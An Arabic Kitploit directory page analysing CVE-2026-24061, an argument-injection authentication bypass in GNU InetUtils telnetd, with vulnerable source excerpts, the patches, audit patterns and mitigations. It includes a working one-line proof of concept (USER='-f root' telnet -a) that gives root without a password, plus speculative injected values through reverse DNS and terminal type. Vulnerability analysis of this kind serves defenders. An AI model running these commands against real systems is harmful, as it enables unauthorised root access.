Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/buzz075/cve-2026-24061
تحليل الثغرات الأمنيةالاستغلالأمن الشبكاتاختبار الاختراقالمصادقة
GitHubbuzz075/cve-2026-24061

CVE-2026-24061

تحليل تقني معمّق وماسح ضوئي لثغرة CVE-2026-24061، وهي تجاوز مصادقة حرج في GNU InetUtils telnetd، بما في ذلك سلسلة الاستغلال، وإثبات المفهوم (PoC)، وتفاصيل التصحيح.

عرض المستودع
5منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-24061: GNU InetUtils telnetd تجاوز المصادقة - تحليل معمق

الملخص التنفيذي

CVE-2026-24061 هي ثغرة أمنية حرجة (CVSS 9.8) في تجاوز المصادقة عن بُعد في GNU InetUtils telnetd تسمح للمهاجمين غير المصادق عليهم بالحصول على وصول جذري فوري. تنبع الثغرة من عدم كفاية تعقيم متغير البيئة USER، الذي يُمرَّر مباشرة إلى /usr/bin/login كوسيط سطر أوامر. من خلال تعيين USER=-f root، يُفعّل المهاجم علامة -f الخاصة بـ login، والتي تتجاوز المصادقة بالكامل.

الإصدارات المتأثرة: GNU InetUtils 1.9.3 حتى 2.7 نوع الثغرة: CWE-88 (حقن الوسائط) تاريخ الاكتشاف: 20 يناير 2026 المكتشف: Kyu Neushwaistein (المعروف أيضًا باسم Carlos Cortes Alvarez)


الجزء 1: التحليل الفني التفصيلي

تدفق الكود الثغري

1. قالب استدعاء Login (، الأسطر ~49-63)

telnetd/telnetd.c

تبدأ الثغرة بسلسلة قالب أوامر تُعرّف كيفية استدعاء telnetd لـ /usr/bin/login:

root@kitploit:~
/* Template command line for invoking login program. */
char *login_invocation =
#ifdef SOLARIS10
  PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
#elif defined SOLARIS
  PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* !SOLARIS */
  PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif
;

ملاحظة رئيسية: على الأنظمة غير Solaris، يستخدم القالب:

  • %?u{-f %u}{%U} - هذا تعبير شرطي يعني:
    • إذا كان user_name معينًا (%u)، استخدم -f %u (تسجيل دخول تلقائي مصادق عليه)
    • وإلا، استخدم %U (متغير البيئة USER كبديل)

المشكلة الحرجة: %U يتوسع إلى متغير البيئة USER الخام غير المعقّم.

2. دالة توسيع المتغيرات (telnetd/utility.c، _var_short_name())

تتم معالجة سلسلة القالب بواسطة expand_line()، التي تستدعي _var_short_name() لتوسيع العناصر النائبة. إليك الكود الثغري:

root@kitploit:~
/* Expand a variable referenced by its short one-symbol name. */
char *
_var_short_name (struct line_expander *exp)
{
  char *q;
  char timebuf[64];
  time_t t;

  switch (*exp->cp++)
    {
    case 'a':
#ifdef AUTHENTICATION
      if (auth_level >= 0 && autologin == AUTH_VALID)
        return xstrdup ("ok");
#endif
      return NULL;

    case 'd':
      time (&t);
      strftime (timebuf, sizeof (timebuf),
                "%l:%M%p on %A, %d %B %Y", localtime (&t));
      return xstrdup (timebuf);

    case 'h':
      return xstrdup (remote_hostname);  // POTENTIALLY VULNERABLE

    case 'l':
      return xstrdup (local_hostname);

    case 'L':
      return xstrdup (line);

    case 't':
      q = strchr (line + 1, '/');
      if (q)
        q++;
      else
        q = line;
      return xstrdup (q);

    case 'T':
      return terminaltype ? xstrdup (terminaltype) : NULL;  // POTENTIALLY VULNERABLE

    case 'u':
      return user_name ? xstrdup (user_name) : NULL;

    case 'U':
      return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");  // VULNERABLE!

    default:
      exp->state = EXP_STATE_ERROR;
      return NULL;
    }
}

الخطأ الحرج (case 'U'): يتم جلب متغير البيئة USER عبر getenv() ويُمرَّر بدون أي تعقيم. عندما يعيّن المهاجم USER=-f root، يصبح هذا جزءًا من سطر أوامر login.

3. دالة بدء Login (telnetd/pty.c، start_login())

يتم تنفيذ سلسلة استدعاء login الموسعة في start_login():

root@kitploit:~
/* Construct login command from template */
argcv_string (argcv_length (argv, NULL), argv, &login_cmd);
  
/* Execute login - this runs: /usr/bin/login -p -h <hostname> -f root */
execv (argv[0], argv);

سلسلة الاستغلال

  1. يتصل المهاجم بـ telnetd (المنفذ 23)

  2. يحدث تفاوض خيارات Telnet:

    • يرسل الخادم IAC DO NEW_ENVIRON
    • يستجيب العميل بـ IAC WILL NEW_ENVIRON
    • يرسل الخادم IAC SB NEW_ENVIRON SEND (طلب البيئة)
    • يرسل المهاجم: IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
  3. يعالج الخادم متغير USER:

    • يُرجع getenv("USER") القيمة -f root
    • يتوسع القالب %U إلى -f root
    • الأمر النهائي: /usr/bin/login -p -h <hostname> -f root
  4. يفسر login الوسيط -f root:

    • علامة -f تعني "تخطي المصادقة، المستخدم مصادق عليه مسبقًا"
    • root هو اسم المستخدم لتسجيل الدخول به
    • النتيجة: قشرة جذرية فورية دون أي طلب كلمة مرور!

إثبات المفهوم

root@kitploit:~
# On attacker machine:
USER='-f root' telnet -a <target_ip>

تُفعّل علامة -a وضع تسجيل الدخول التلقائي، الذي يرسل متغير البيئة USER إلى الخادم.


الجزء 2: تحليل المتغيرات الأخرى المحتملة الخطورة

يشير التقرير الأمني صراحةً: "وبالتالي هناك احتمالية لوجود ثغرات مشابهة لمتغيرات أخرى." دعنا نحلل كل متغير في _var_short_name():

جدول تحليل المتغيرات

المتغيرالاسمالمصدرقابل للتحكم من المستخدم؟معقّم؟سطح الهجوم
%Uمتغير البيئة USERgetenv("USER")نعم (عبر NEW_ENVIRON)لاحرج - CVE-2026-24061
%hremote_hostnameبحث DNS/PTRجزئي (سجل PTR)لاعالي
%Tterminaltypeخيار TERMINAL-TYPEنعملامتوسط
%uuser_nameتفاوض البروتوكولنعملامتوسط (يتطلب مصادقة)
%llocal_hostnameإعداد النظاملاغير قابل للتطبيقمنخفض
%Lline (TTY)مخصص من النظاملاغير قابل للتطبيقمنخفض
%ttty shortnameمخصص من النظاملاغير قابل للتطبيقمنخفض
%dالتاريخ/الوقتساعة النظاملاغير قابل للتطبيقلا شيء
%aحالة المصادقةحالة داخليةلاغير قابل للتطبيقلا شيء

تحليل تفصيلي للمتغيرات المحتملة الخطورة

1. %h - اسم المضيف البعيد (خطر عالي)

المصدر: يتم تعبئته في telnetd_setup() من telnetd.c عبر getnameinfo() أو gethostbyaddr().

المشكلة: إذا تحكم المهاجم في سجل PTR (DNS عكسي) الخاص به، فقد يتمكن من حقن:

root@kitploit:~
foo -f root

كاسم مضيفه، والذي سيصبح جزءًا من وسيط -h:

root@kitploit:~
/usr/bin/login -p -h "foo -f root" ...

صعوبة الاستغلال:

  • يتطلب التحكم في DNS العكسي
  • بعض تطبيقات login قد تضع علامات اقتباس أو تتحقق من اسم المضيف
  • أكثر تعقيدًا من حقن USER

سيناريو واقعي: يمكن للمهاجم الذي يتحكم في سجل PTR لعنوان IP الخاص به (شائع لدى مزودي VPS) تعيين DNS العكسي الخاص به إلى قيمة خبيثة.

2. %T - نوع الطرفية (خطر متوسط)

المصدر: يُستقبل عبر تفاوض Telnet TERMINAL-TYPE الفرعي، ويُخزَّن في متغير terminaltype.

المشكلة: سلسلة نوع الطرفية يتحكم بها المهاجم وغير معقّمة:

root@kitploit:~
case 'T':
  return terminaltype ? xstrdup (terminaltype) : NULL;

الاستخدام في القوالب:

  • SOLARIS10: %?T{-t %T} - يُستخدم مع علامة -t
  • SOLARIS: %?T{%T} - يُدرج مباشرة

الهجوم المحتمل:

root@kitploit:~
TERMINAL-TYPE: xterm -f root

ومع ذلك، يعتمد الاستغلال على:

  • استخدام القالب لـ %T (حاليًا فقط على Solaris)
  • كيفية تعامل login مع وسيط -t

3. %u - اسم المستخدم المصادق عليه (خطر متوسط)

المصدر: يُعيّن أثناء تفاوض المصادقة.

المشكلة: يُستخدم في نمط -f %u:

root@kitploit:~
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"

إذا تمكن المهاجم من التلاعب بـ user_name لتضمين أحرف وصفية للقشرة أو وسائط إضافية، فقد يحقق تصعيدًا. ومع ذلك، يُعيّن هذا المتغير عادةً فقط بعد نوع من التحقق من المصادقة.

لماذا المتغيرات الأخرى أقل خطورة

  • %l، %L، %t: مشتقة من قيم يتحكم بها النظام (اسم المضيف المحلي، أسماء أجهزة TTY) لا يمكن للمهاجمين التأثير عليها عن بُعد.

  • %d: يُولَّد من ساعة النظام - لا يوجد ناقل حقن.

  • %a: متغير حالة مصادقة داخلي - يُرجع حرفيًا "ok" أو NULL.


الجزء 3: أنماط أخطاء مشابهة للبحث عنها

بناءً على هذه الثغرة، إليك أنماط للبحث عنها في قاعدة الكود:

النمط 1: استخدام متغيرات بيئة غير معقّمة

root@kitploit:~
// DANGEROUS: Direct use of environment variables
getenv("VARIABLE")

الملفات للفحص:

  • telnetd/utility.c - دوال توسيع أخرى
  • telnetd/telnetd.c - معالجة البيئة
  • rlogind/، rshd/ - خدمات مشابهة

النمط 2: توسيع القوالب دون تحقق

root@kitploit:~
// DANGEROUS: User data in command templates
sprintf(cmd, "command %s", user_controlled_var);
system(cmd);
execv(argv[0], argv);

النمط 3: بيانات مشتقة من DNS في الأوامر

root@kitploit:~
// POTENTIALLY DANGEROUS: DNS data can be attacker-controlled
getnameinfo(...);  // PTR lookups
gethostbyaddr(...);
// Then using result in command construction

المجالات التي تتطلب مزيدًا من التحقيق

  1. خادم ftpd: تحقق من كيفية معالجة إدخال المستخدم في المصادقة ومعالجة الأوامر

  2. خوادم rshd/rlogind: تستخدم هذه أنماط مصادقة مشابهة وقد تواجه مشكلات مماثلة في معالجة اسم المضيف أو البيئة

  3. تحليل إعدادات inetd: قد يعالج إدخالًا غير موثوق عند إعداد الخدمات

  4. نقاط تكامل Kerberos: عند معالجة أسماء المبادئ أو رموز المصادقة


الجزء 4: الإصلاح

التصحيح 1: تعقيم الشرطات البادئة (fd702c02)

يضيف التصحيح الأول تعقيمًا أساسيًا:

root@kitploit:~
case 'U':
  {
    char *u = getenv("USER");
    return (u && *u != '-') ? xstrdup(u) : xstrdup("");
  }

يمنع هذا القيم التي تبدأ بـ - مما يمنع حقن العلامات.

التصحيح 2: دالة تعقيم معممة (ccba9f74)

يقدم التصحيح الثاني دالة sanitize() قابلة لإعادة الاستخدام لجميع المدخلات التي يتحكم بها المستخدم:

root@kitploit:~
/* Sanitize user-supplied string to prevent argument injection */
static char *
sanitize (const char *str)
{
  if (str == NULL || *str == '-')
    return xstrdup ("");
  return xstrdup (str);
}

تُطبَّق على جميع المتغيرات المحتملة الخطورة:

  • %U (USER)
  • %h (remote_hostname)
  • %T (terminaltype)

الاستنتاجات

  1. CVE-2026-24061 هي ثغرة حقن وسائط نموذجية ظلت غير مكتشفة لمدة 11 عامًا بسبب:

    • افتراضات بروتوكول قديمة
    • تدفق كود معقد (قالب ← توسيع ← تنفيذ)
    • مراجعة أمنية غير كافية لمتغيرات البيئة "الموثوقة"
  2. قد توجد ثغرات مشابهة في متغيري %h (اسم المضيف) و%T (نوع الطرفية)، على الرغم من أن الاستغلال أكثر تعقيدًا.

  3. آثار أوسع: يجب تدقيق أي كود يبني أوامر قشرة أو وسائط برامج من بيانات مشتقة من الشبكة بحثًا عن ثغرات حقن مشابهة.

  4. التخفيفات الموصى بها:

    • الترقية إلى GNU InetUtils 2.8+
    • تعطيل telnetd تمامًا (استخدم SSH)
    • إذا كان telnetd مطلوبًا، قيّده بالشبكات الموثوقة
    • استخدم برنامج login مخصص يتجاهل علامة -f
تنزيل الأداة